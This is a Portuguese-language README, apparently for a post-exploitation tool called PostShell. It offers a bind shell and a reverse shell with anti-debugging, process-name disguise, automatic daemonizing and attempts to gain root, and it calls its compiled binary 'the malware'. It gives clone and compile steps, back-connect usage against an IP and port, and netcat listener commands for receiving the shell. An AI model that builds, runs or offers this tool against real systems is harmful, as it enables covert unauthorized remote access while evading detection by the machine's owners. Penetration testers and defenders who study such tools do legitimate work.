PostShell

PostShell é um shell de pós-exploração que inclui tanto um shell bind quanto um shell de conexão reversa. Ele cria um TTY totalmente interativo que permite controle de jobs. O tamanho do stub é de cerca de 14kb e pode ser compilado em qualquer sistema Unix-like.

Capturas de Tela

Banner e interação com o shell após uma conexão ser iniciada.

Por que não usar um shell tradicional de conexão reversa/bind?

PostShell permite uma pós-exploração mais fácil, tornando o atacante menos dependente de dependências como Python e Perl. Ele também incorpora tanto um shell de conexão reversa quanto um shell bind, o que significa que, se um alvo não permitir conexões de saída, um operador pode simplesmente iniciar um shell bind e conectar-se à máquina remotamente. PostShell também é significativamente menos suspeito do que um shell tradicional, pois tanto o nome dos processos quanto os argumentos são ocultados.

Funcionalidades

• Anti-Debugging, se ptrace for detectado como anexado ao shell, ele será encerrado.
• Nomes de Processo/Thread são ocultados, um nome falso sobrescreve todos os argumentos do sistema e o nome do arquivo para parecer um programa legítimo.
• TTY, um TTY é criado, o que essencialmente permite o mesmo uso da máquina como se estivesse conectado via SSH.
• Shell bind/conexão reversa, tanto um shell bind quanto uma conexão reversa podem ser criados.
• Tamanho Pequeno do Stub, um stub muito pequeno (<14kb) é geralmente gerado.
• Daemoniza automaticamente
• Tenta definir GUID/UID para 0 (root)

Primeiros Passos

1. Baixar: git clone https://github.com/rek7/postshell
2. Compilar: cd postshell && sh compile.sh Isso deve criar um binário chamado "stub" que é o malware.

Comandos

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Exemplo de Uso

Backconnect:

$ ./stub 127.0.0.1 13377

Bind Shell:

$ ./stub 13377

Recebendo uma Conexão com o Netcat

Recebendo uma conexão reversa:

$ nc -vlp port

Conectando a um shell bind:

$ nc host port

A FAZER:

• Adicionar resolução de domínio